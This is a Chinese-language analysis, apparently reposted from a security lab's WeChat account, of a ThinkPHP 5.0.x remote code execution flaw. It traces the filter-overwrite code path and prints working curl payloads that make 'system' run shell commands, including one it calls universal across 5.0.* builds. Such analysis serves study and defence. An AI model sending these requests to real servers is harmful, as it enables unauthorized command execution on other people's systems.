payload:
1 |
需要开启debug版本: |
Thinkphp5.0.23核心板为例
该版本只能在开启Debug模式下,实现RCE.
config.php:
1 |
................................. |
Request.php中的method方法:
1 |
public function method($method = false) |
构造函数:
1 |
protected function __construct($options = []) |
遍历所有参数,如果是类属性,则对该类对应属性赋值。
在App类(thinkphp/library/think/App.php)中module方法增加了设置filter参数值的代码,用于初始化filter。因此通过上述请求设置的filter参数值会被重新覆盖为空导致无法利用。
在启动Debug模式之后,会调用param方法:
param方法:
1 |
public function param($name = '', $default = null, $filter = '') |
param方法首先会调用$method = $this->method(true);
:
server方法:
1 |
public function server($name = '', $default = null, $filter = '') |
server方法会调用input方法:
1 |
public function input($data = [], $name = '', $default = null, $filter = '') |
这里$filter = $this->getFilter($filter, $default);
调用getFilter
方法:
1 |
protected function getFilter($filter, $default) |
可以看到这里如果$filter
为空,就会对$filter
进行赋值,也就是$this->filter
,可以控制。
至此,可构造payload:
1 |
curl -d "_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al" http://localhost/think/public/index.php |
继续看,
param函数最终会调用input方法:
1 |
public function param($name = '', $default = null, $filter = '') |
$this->param
就是get
参数,参数名无所谓:
构造payload:
1 |
curl -d "_method=__construct&filter[]=system" http://localhost/think/public/index.php?a=dir |
Thinkphp5.0.22完整板为例:
该版本可以在不开启Debug模式的情况下实现RCE
run方法:
1 |
public static function run(Request $request = null) |
// 未设置调度信息则进行 URL 路由检测,调用了$dispatch = self::routeCheck($request, $config);
routeCheck方法:
1 |
public static function routeCheck($request, array $config) |
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
check方法:
1 |
public static function check($request, $url, $depr = '/', $checkDomain = false) |
$method = strtolower($request->method());
这里的$method
可以通过传递参数method
控制。
最终会进入路由规则检测:
1 |
// 路由规则检测 |
checkRoute方法:
1 |
private static function checkRoute($request, $rules, $url, $depr = '/', $group = '', $options = []) |
这里有效的route除了一些默认的之外,就有完整版中才有的captcha
。
默认的route最终会调用moudle函数,其中调用$request->filter($config['default_filter']);
清空了filter导致漏洞利用失败。
1 |
<?php |
所以,需要传入s=captcha
并且method=get
。
由于返回值$dispatch['type']='method'
,最终会调用param
方法,就和开启debug模式一样了。
最终,5.0.*完整版,默认即可,通杀payload:
1 |
curl -v -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=dir" "http://localhost/loudong/public/index.php?s=captcha&a=dir" |
end
本文始发于微信公众号(雷石安全实验室):Thinkphp5.0.*之RCE漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论